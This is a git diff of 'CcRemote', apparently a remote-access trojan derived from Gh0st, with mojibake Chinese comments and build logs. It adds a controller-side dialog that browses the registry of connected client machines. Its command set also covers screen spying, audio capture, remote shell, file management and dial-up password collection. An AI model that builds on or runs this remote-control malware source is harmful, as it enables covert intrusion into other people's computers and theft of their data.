m_list.InsertColumn(1,"<EFBFBD><EFBFBD><EFBFBD><EFBFBD>",LVCFMT_LEFT,60,-1);
m_list.InsertColumn(2,"<EFBFBD><EFBFBD><EFBFBD><EFBFBD>",LVCFMT_LEFT,300,-1);
m_list.SetExtendedStyle(LVS_EX_FULLROWSELECT);
//////<2F><><EFBFBD><EFBFBD>ͼ<EFBFBD><CDBC>//////
m_HeadIcon.Create(16,16,TRUE,2,2);
m_HeadIcon.Add(AfxGetApp()->LoadIcon(IDI_STR_ICON));
m_HeadIcon.Add(AfxGetApp()->LoadIcon(IDI_DWORD_ICON));
m_list.SetImageList(&m_HeadIcon,LVSIL_SMALL);
return TRUE; // return TRUE unless you set the focus to a control
// <20>쳣: OCX <20><><EFBFBD><EFBFBD>ҳӦ<D2B3><D3A6><EFBFBD><EFBFBD> FALSE
}
void CRegDlg::OnTvnSelchangedTree(NMHDR *pNMHDR, LRESULT *pResult)
{
LPNMTREEVIEW pNMTreeView = reinterpret_cast<LPNMTREEVIEW>(pNMHDR);
// TODO: <20>ڴ<EFBFBD><DAB4><EFBFBD><EFBFBD>ӿؼ<D3BF>֪ͨ<CDA8><D6AA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
if(!isEnable) return;
isEnable=false;;
TVITEM item = pNMTreeView->itemNew;
if(item.hItem == m_hRoot)
{
isEnable=true;;
return;
}
SelectNode=item.hItem; //<2F><><EFBFBD><EFBFBD><EFBFBD>û<EFBFBD><C3BB>򿪵<EFBFBD><F2BFAAB5><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ڵ<EFBFBD><DAB5><EFBFBD><EFBFBD><EFBFBD>
m_list.DeleteAllItems();
CString FullPath=GetFullPath(SelectNode);
HTREEITEM CurrentNode = item.hItem; //ȡ<>ô˽ڵ<CBBD><DAB5><EFBFBD>ȫ·<C8AB><C2B7>
while(m_tree.GetChildItem(CurrentNode)!=NULL)
{
m_tree.DeleteItem(m_tree.GetChildItem(CurrentNode)); //ɾ<><C9BE> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> OnSelchangingTree<65>¼<EFBFBD> ***
}
char bToken=getFatherPath(FullPath);
//<2F><><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD><EFBFBD>
int nitem=m_list.InsertItem(0,"(Data)",0);
m_list.SetItemText(nitem,1,"REG_SZ");
m_list.SetItemText(nitem,2,"(NULL)");
//BeginWaitCursor();
//char *buf=new char[FullPath.GetLength]
FullPath.Insert(0,bToken);//<2F><><EFBFBD><EFBFBD> <20>Ǹ<EFBFBD><C7B8><EFBFBD><EFBFBD><EFBFBD>
bToken=COMMAND_REG_FIND;
FullPath.Insert(0,bToken); //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ѯ<EFBFBD><D1AF><EFBFBD><EFBFBD>
m_iocpServer->Send(m_pContext, (LPBYTE)(FullPath.GetBuffer(0)), FullPath.GetLength()+1);
isEnable=true;;
*pResult = 0;
}
CString CRegDlg::GetFullPath(HTREEITEM hCurrent)
{
CString strTemp;
CString strReturn = "";
while(1){
if(hCurrent==m_hRoot) return strReturn;
strTemp = m_tree.GetItemText(hCurrent); //<2F>õ<EFBFBD><C3B5><EFBFBD>ǰ<EFBFBD><C7B0>
if(strTemp.Right(1) != "\\")
strTemp += "\\";
strReturn = strTemp + strReturn;
hCurrent = m_tree.GetParentItem(hCurrent); //<2F>õ<EFBFBD><C3B5><EFBFBD><EFBFBD><EFBFBD>
}
return strReturn;
}
char CRegDlg::getFatherPath(CString& FullPath)
{
char bToken;
if(!FullPath.Find("HKEY_CLASSES_ROOT")) //<2F>ж<EFBFBD><D0B6><EFBFBD><EFBFBD><EFBFBD>
{
//MKEY=HKEY_CLASSES_ROOT;
bToken=MHKEY_CLASSES_ROOT;
FullPath.Delete(0,sizeof("HKEY_CLASSES_ROOT"));
}else if(!FullPath.Find("HKEY_CURRENT_USER"))
{
bToken=MHKEY_CURRENT_USER;
FullPath.Delete(0,sizeof("HKEY_CURRENT_USER"));
}else if(!FullPath.Find("HKEY_LOCAL_MACHINE"))
{
bToken=MHKEY_LOCAL_MACHINE;
FullPath.Delete(0,sizeof("HKEY_LOCAL_MACHINE"));
}else if(!FullPath.Find("HKEY_USERS"))
{
bToken=MHKEY_USERS;
FullPath.Delete(0,sizeof("HKEY_USERS"));
}else if(!FullPath.Find("HKEY_CURRENT_CONFIG"))
{
bToken=MHKEY_CURRENT_CONFIG;
FullPath.Delete(0,sizeof("HKEY_CURRENT_CONFIG"));
}
return bToken;
}
void CRegDlg::OnReceiveComplete(void)
{
switch (m_pContext->m_DeCompressionBuffer.GetBuffer(0)[0])
{
case TOKEN_REG_PATH: //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
AddPath((char*)(m_pContext->m_DeCompressionBuffer.GetBuffer(1)));
break;
case TOKEN_REG_KEY: //<2F><><EFBFBD>ռ<EFBFBD> <20><>ֵ
AddKey((char*)(m_pContext->m_DeCompressionBuffer.GetBuffer(1)));
break;
default:
break;
}
}
void CRegDlg::AddKey(char* lpBuffer)
{
m_list.DeleteAllItems();
int nitem=m_list.InsertItem(0,"(Data)",0);
m_list.SetItemText(nitem,1,"REG_SZ");
m_list.SetItemText(nitem,2,"(NULL)");
if(lpBuffer==NULL) return;
REGMSG msg;
memcpy((void*)&msg,lpBuffer,sizeof(msg));
char* tmp=lpBuffer+sizeof(msg);
int bin_temp;
for(int i=0;i<msg.count;i++)
{
BYTE Type=tmp[0]; //ȡ<><C8A1><EFBFBD><EFBFBD>־ͷ
tmp+=sizeof(BYTE);
char* szValueName=tmp; //ȡ<><C8A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
tmp+=msg.size;
BYTE* szValueDate=(BYTE*)tmp; //ȡ<><C8A1>ֵ
tmp+=msg.valsize;
if(Type==MREG_SZ)
{
int nitem=m_list.InsertItem(0,szValueName,0);
m_list.SetItemText(nitem,1,"REG_SZ");
m_list.SetItemText(nitem,2,(char*)szValueDate);
}
if(Type==MREG_DWORD)
{
char ValueDate[256];
DWORD d=(DWORD)szValueDate;
memcpy((void*)&d,szValueDate,sizeof(DWORD));
CString value;
value.Format("0x%08x",d);
sprintf(ValueDate," (%d)",d);
value+=" ";
value+=ValueDate;
int nitem=m_list.InsertItem(0,szValueName,1);
m_list.SetItemText(nitem,1,"REG_DWORD");
m_list.SetItemText(nitem,2,value);
}
if(Type==MREG_BINARY)
{
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ڴ<EFBFBD><DAB4><EFBFBD><EFBFBD><EFBFBD>̬<EFBFBD><CCAC><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ȡ<EFBFBD><C8A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ԭ<EFBFBD><D4AD><EFBFBD><EFBFBD>ֻҪ<D6BB>Ƕ<EFBFBD>̬<EFBFBD><CCAC>ȡ<EFBFBD>Ļ<EFBFBD><C4BB>ͻ<EFBFBD><CDBB><EFBFBD><EFBFBD>ɱ<EFBFBD><C9B1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>0x1000<30><30>С<EFBFBD><D0A1><EFBFBD><EFBFBD>Ӧ<EFBFBD><D3A6>Ҳ<EFBFBD><D2B2><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
int i = 0;
int index_max = msg.valsize;
char ValueDate[0x1000] = { 0 };
if (msg.valsize > 0x1000)
{
index_max = 0x990;//incomplete
}
for (i = 0; i < index_max; i++)
{
bin_temp = szValueDate[i];
sprintf(ValueDate +(i*3), "%02x ", bin_temp);
}
CString value = ValueDate;
if (index_max == 0x990)
{
value+=" incomplete";
}
int nitem=m_list.InsertItem(0,szValueName,1);
m_list.SetItemText(nitem,1,"REG_BINARY");
m_list.SetItemText(nitem,2, value);
}
if(Type==MREG_EXPAND_SZ)
{
int nitem=m_list.InsertItem(0,szValueName,0);
m_list.SetItemText(nitem,1,"REG_EXPAND_SZ");
m_list.SetItemText(nitem,2,(char*)szValueDate);
}
}
}
void CRegDlg::AddPath(char* lpBuffer)
{
if(lpBuffer==NULL) return;
int msgsize=sizeof(REGMSG);
REGMSG msg;
memcpy((void*)&msg,lpBuffer,msgsize);
DWORD size =msg.size;
int count=msg.count;
if(size>0&&count>0){ //һ<><EFBFBD><E3B1A3><EFBFBD><EFBFBD>ʩ
for(int i=0;i<count;i++){
char* szKeyName=lpBuffer+size*i+msgsize;
m_tree.InsertItem(szKeyName,1,1,SelectNode,0);//<2F><><EFBFBD><EFBFBD><EFBFBD>Ӽ<EFBFBD><D3BC><EFBFBD><EFBFBD><EFBFBD>
m_tree.Expand(SelectNode,TVE_EXPAND);
}
}
}

View File

@@ -0,0 +1,46 @@
#pragma once
#include "include/IOCPServer.h"
// CRegDlg <20>Ի<EFBFBD><D4BB><EFBFBD>
class CRegDlg : public CDialog
{
DECLARE_DYNAMIC(CRegDlg)
public:
CRegDlg(CWnd* pParent = NULL, CIOCPServer* pIOCPServer = NULL, ClientContext *pContext = NULL); // <20><>׼<EFBFBD><D7BC><EFBFBD><EFBFBD><ECBAAF>
virtual ~CRegDlg();
// <20>Ի<EFBFBD><D4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
enum { IDD = IDD_DIALOG_REGEDIT};
protected:
virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV ֧<><D6A7>
DECLARE_MESSAGE_MAP()
ClientContext* m_pContext;
CIOCPServer* m_iocpServer;
bool isEnable; //<2F>ؼ<EFBFBD><D8BC>Ƿ<EFBFBD><C7B7><EFBFBD><EFBFBD><EFBFBD>
HTREEITEM SelectNode;
public:
CTreeCtrl m_tree;
CListCtrl m_list;
CImageList m_HeadIcon;
protected:
HTREEITEM m_hRoot;
HTREEITEM HKLM;
HTREEITEM HKCR;
HTREEITEM HKCU;
HTREEITEM HKUS;
HTREEITEM HKCC;
CImageList m_ImageList_tree;
public:
virtual BOOL OnInitDialog();
afx_msg void OnTvnSelchangedTree(NMHDR *pNMHDR, LRESULT *pResult);
CString GetFullPath(HTREEITEM hCurrent);
char getFatherPath(CString& FullPath);
void OnReceiveComplete(void);
void AddKey(char* lpBuffer);
void AddPath(char* lpBuffer);
};

View File

@@ -8,6 +8,7 @@ f:\myapp\ccremote\ccremote\ccremote\release\buffer.obj
f:\myapp\ccremote\ccremote\ccremote\release\audio.obj
f:\myapp\ccremote\ccremote\ccremote\release\truecolortoolbar.obj
f:\myapp\ccremote\ccremote\ccremote\release\seu_qqwry.obj
f:\myapp\ccremote\ccremote\ccremote\release\regdlg.obj
f:\myapp\ccremote\ccremote\ccremote\release\inputdlg.obj
f:\myapp\ccremote\ccremote\ccremote\release\inifile.obj
f:\myapp\ccremote\ccremote\ccremote\release\cpuusage.obj

View File

@@ -1,79 +1,15 @@
C:\Program Files (x86)\Microsoft Visual Studio\2017\Professional\Common7\IDE\VC\VCTargets\Microsoft.CppBuild.targets(377,5): warning MSB8004: Output 目录未以斜杠结尾。 此生成实例将添加斜杠,因为必须有这个斜杠才能正确计算 Output 目录。
pch.cpp
Audio.cpp
f:\myapp\ccremote\common\audio.cpp(99): warning C4018: “<”: 有符号/无符号不匹配
Buffer.cpp
IOCPServer.cpp
f:\myapp\ccremote\ccremote\ccremote\include\iocpserver.cpp(133): warning C4996: 'WSASocketA': Use WSASocketW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(3416): note: 参见“WSASocketA”的声明
f:\myapp\ccremote\ccremote\ccremote\include\iocpserver.cpp(725): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
f:\myapp\ccremote\ccremote\ccremote\include\iocpserver.cpp(774): warning C4244: “初始化”: 从“double”转换到“unsigned long”可能丢失数据
f:\myapp\ccremote\ccremote\ccremote\include\iocpserver.cpp(920): warning C4018: “>=”: 有符号/无符号不匹配
CAudioDlg.cpp
f:\myapp\ccremote\ccremote\ccremote\caudiodlg.cpp(29): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
CcRemote.cpp
CcRemoteDlg.cpp
f:\myapp\ccremote\ccremote\ccremote\ccremotedlg.cpp(166): warning C4996: 'gethostbyname': Use getaddrinfo() or GetAddrInfoW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(2219): note: 参见“gethostbyname”的声明
f:\myapp\ccremote\ccremote\ccremote\ccremotedlg.cpp(171): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
f:\myapp\ccremote\ccremote\ccremote\ccremotedlg.cpp(314): warning C4244: “初始化”: 从“double”转换到“int”可能丢失数据
f:\myapp\ccremote\ccremote\ccremote\ccremotedlg.cpp(337): warning C4244: “初始化”: 从“double”转换到“int”可能丢失数据
f:\myapp\ccremote\ccremote\ccremote\ccremotedlg.cpp(838): warning C4018: “<=”: 有符号/无符号不匹配
f:\myapp\ccremote\ccremote\ccremote\ccremotedlg.cpp(923): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
CFileManagerDlg.cpp
f:\myapp\ccremote\ccremote\ccremote\inputdlg.h(69): warning C4302: “类型强制转换”: 从“LPSTR”到“WORD”截断
f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(81): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(360): warning C4244: “=”: 从“unsigned __int64”转换到“unsigned long”可能丢失数据
f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(361): warning C4244: “=”: 从“unsigned __int64”转换到“unsigned long”可能丢失数据
f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(861): warning C4101: “VolName”: 未引用的局部变量
f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(862): warning C4101: “FileSystem”: 未引用的局部变量
f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(1123): warning C4018: “<”: 有符号/无符号不匹配
f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(1153): warning C4307: “+”: 整型常量溢出
f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(1571): warning C4307: “+”: 整型常量溢出
f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(1605): warning C4129: “*”: 不可识别的字符转义序列
f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(1647): warning C4307: “+”: 整型常量溢出
f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(1741): warning C4307: “+”: 整型常量溢出
f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(1901): warning C4129: “*”: 不可识别的字符转义序列
f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(1925): warning C4129: “*”: 不可识别的字符转义序列
f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(1942): warning C4129: “*”: 不可识别的字符转义序列
f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(1986): warning C4244: “初始化”: 从“float”转换到“int”可能丢失数据
CServerDlg.cpp
f:\myapp\ccremote\ccremote\ccremote\cserverdlg.cpp(56): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
FileTransferModeDlg.cpp
CScreenSpyDlg.cpp
f:\myapp\ccremote\ccremote\ccremote\cscreenspydlg.cpp(54): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
f:\myapp\ccremote\ccremote\ccremote\cscreenspydlg.cpp(607): warning C4554: “<<”: 检查运算符优先级是否存在的可能的错误;使用括号阐明优先级
f:\myapp\ccremote\ccremote\ccremote\cscreenspydlg.cpp(621): warning C4554: “<<”: 检查运算符优先级是否存在的可能的错误;使用括号阐明优先级
CSettingDlg.cpp
CShellDlg.cpp
f:\myapp\ccremote\ccremote\ccremote\cshelldlg.cpp(95): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
f:\myapp\ccremote\ccremote\ccremote\cshelldlg.cpp(122): warning C4018: “<”: 有符号/无符号不匹配
f:\myapp\ccremote\ccremote\ccremote\cshelldlg.cpp(208): warning C4018: “<=”: 有符号/无符号不匹配
f:\myapp\ccremote\ccremote\ccremote\cshelldlg.cpp(218): warning C4018: “<”: 有符号/无符号不匹配
CSystemDlg.cpp
f:\myapp\ccremote\ccremote\ccremote\csystemdlg.cpp(114): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
CpuUsage.cpp
IniFile.cpp
f:\myapp\ccremote\ccremote\ccremote\inifile.cpp(33): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明
InputDlg.cpp
f:\myapp\ccremote\ccremote\ccremote\inputdlg.h(69): warning C4302: “类型强制转换”: 从“LPSTR”到“WORD”截断
f:\myapp\ccremote\ccremote\ccremote\inputdlg.cpp(124): warning C4996: 'wcscpy': This function or variable may be unsafe. Consider using wcscpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\corecrt_wstring.h(123): note: 参见“wcscpy”的声明
f:\myapp\ccremote\ccremote\ccremote\inputdlg.cpp(159): warning C4302: “类型强制转换”: 从“LPSTR”到“WORD”截断
SEU_QQwry.cpp
TrueColorToolBar.cpp
RegDlg.cpp
f:\myapp\ccremote\ccremote\ccremote\regdlg.cpp(259): warning C4244: “初始化”: 从“DWORD”转换到“char”可能丢失数据
f:\myapp\ccremote\ccremote\ccremote\regdlg.cpp(261): warning C4018: “<”: 有符号/无符号不匹配
f:\myapp\ccremote\ccremote\ccremote\regdlg.cpp(249): warning C4996: 'sprintf': This function or variable may be unsafe. Consider using sprintf_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\stdio.h(1774): note: 参见“sprintf”的声明
f:\myapp\ccremote\ccremote\ccremote\regdlg.cpp(263): warning C4996: 'sprintf': This function or variable may be unsafe. Consider using sprintf_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\stdio.h(1774): note: 参见“sprintf”的声明
正在生成代码
All 717 functions were compiled because no usable IPDB/IOBJ from previous compilation was found.
1 of 739 functions ( 0.1%) were compiled, the rest were copied from previous compilation.
0 functions were new in current compilation
1 functions had inline decision re-evaluated but remain unchanged
已完成代码的生成
nafxcwd.lib(afxmem.obj) : warning LNK4006: "void * __cdecl operator new(unsigned int)" (??2@YAPAXI@Z) 已在 LIBCMTD.lib(new_scalar.obj) 中定义;已忽略第二个定义
nafxcwd.lib(afxmem.obj) : warning LNK4006: "void __cdecl operator delete(void *)" (??3@YAXPAX@Z) 已在 LIBCMTD.lib(delete_scalar.obj) 中定义;已忽略第二个定义

View File

@@ -14,7 +14,7 @@ static char THIS_FILE[]=__FILE__;
// Change at your Own Peril
// 'G' 'h' '0' 's' 't' | PacketLen | UnZipLen
// 'C' 'c' 'R' 'm' 't' | PacketLen | UnZipLen
#define HDR_SIZE 13
#define FLAG_SIZE 5
#define HUERISTIC_VALUE 2
@@ -199,7 +199,7 @@ bool CIOCPServer::Initialize(NOTIFYPROC pNotifyProc, CMainFrame* pFrame, int nMa
////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////////
UINT dwThreadId = 0;
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>߳<EFBFBD> <EFBFBD><EFBFBD><EFBFBD><EFBFBD>ListenThreadProc
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>߳<EFBFBD> ->ListenThreadProc
m_hThread =
(HANDLE)_beginthreadex(NULL, // Security
0, // Stack size - use default
@@ -505,12 +505,12 @@ bool CIOCPServer::InitializeIOCP(void)
for ( i = 0; i < nWorkerCnt; i++ )
{
hWorker = (HANDLE)_beginthreadex(NULL, // Security
0, // Stack size - use default
ThreadPoolFunc, // Thread fn entry point
(void*) this, // Param for thread
0, // Init flag
&nThreadID); // Thread address
hWorker = (HANDLE)_beginthreadex(NULL, // Security <20><>ȫ
0, // Stack size - use default <20><>ջ<EFBFBD><D5BB>С-ʹ<><CAB9>Ĭ<EFBFBD><C4AC>ֵ
ThreadPoolFunc, // Thread fn entry point <20>߳<EFBFBD>fn<66><6E><EFBFBD>ڵ<EFBFBD>
(void*) this, // Param for thread <20>̵߳IJ<CCB5><C4B2><EFBFBD>
0, // Init flag <20><>ʼ<EFBFBD><CABC><EFBFBD><EFBFBD>־
&nThreadID); // Thread address <20>̵߳<DFB3>ַ
if (hWorker == NULL )

View File

@@ -23,10 +23,10 @@
////////////////////////////////////////////////////////////////////
#define NC_CLIENT_CONNECT 0x0001 //<2F>ͻ<EFBFBD><CDBB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
#define NC_CLIENT_DISCONNECT 0x0002 //<2F>ͻ<EFBFBD><CDBB>˶Ͽ<CBB6><CFBF><EFBFBD><EFBFBD><EFBFBD>
#define NC_TRANSMIT 0x0003 //<2F><><EFBFBD><EFBFBD>
#define NC_RECEIVE 0x0004 //<2F><><EFBFBD><EFBFBD>
#define NC_CLIENT_CONNECT 0x0001 // <EFBFBD>ͻ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
#define NC_CLIENT_DISCONNECT 0x0002 // <EFBFBD>ͻ<EFBFBD><EFBFBD>˶Ͽ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
#define NC_TRANSMIT 0x0003 // <EFBFBD><EFBFBD><EFBFBD><EFBFBD>
#define NC_RECEIVE 0x0004 // <EFBFBD><EFBFBD><EFBFBD><EFBFBD>
#define NC_RECEIVE_COMPLETE 0x0005 // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
class CLock

Binary file not shown.

After

Width:  |  Height:  |  Size: 318 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 2.5 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 2.5 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.1 MiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.8 MiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 56 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 318 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 6.4 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 2.2 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.4 KiB

Binary file not shown.

View File

@@ -7,7 +7,4 @@ pause
del /F /Q /S *.aps *.idb *.ipdb *.iobj *.db *.ncp *.obj *.pch *.sbr *.tmp *.pdb *.bsc *.ilk *.sdf *.ncb *.dep *.ipch *.tlog *.exp
pause

Binary file not shown.

Binary file not shown.

BIN
bin/res/list_online_pic.bmp Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.1 MiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.8 MiB

Binary file not shown.

View File

@@ -84,6 +84,8 @@ enum
COMMAND_SERVICES_AUTO, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʽ - <20>Զ<EFBFBD><D4B6><EFBFBD><EFBFBD><EFBFBD>
COMMAND_SERVICES_MANUAL, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʽ - <20>ֶ<EFBFBD><D6B6><EFBFBD><EFBFBD><EFBFBD>
COMMAND_REGEDIT, //ע<><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
COMMAND_REG_FIND, //ע<><D7A2><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʶ
// <20><><EFBFBD><EFBFBD><EFBFBD>˷<EFBFBD><CBB7><EFBFBD><EFBFBD>ı<EFBFBD>ʶ
TOKEN_AUTH = 100, // Ҫ<><D2AA><EFBFBD><EFBFBD>֤
@@ -121,7 +123,10 @@ enum
TOKEN_WSLIST, // <20><><EFBFBD><EFBFBD><EFBFBD>б<EFBFBD>
TOKEN_DIALUPASS, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
TOKEN_SHELL_START, // Զ<><D4B6><EFBFBD>ն˿<D5B6>ʼ
TOKEN_SERVERLIST // <20><><EFBFBD><EFBFBD><EFBFBD>б<EFBFBD>
TOKEN_SERVERLIST, // <20><><EFBFBD><EFBFBD><EFBFBD>б<EFBFBD>
TOKEN_REGEDIT, // ע<><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʼ<EFBFBD><CABC><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
TOKEN_REG_PATH, // ע<><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EEBBBA><EFBFBD><EFBFBD>
TOKEN_REG_KEY // ע<><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
};

BIN
ghostAnalyze2.emmx Normal file

Binary file not shown.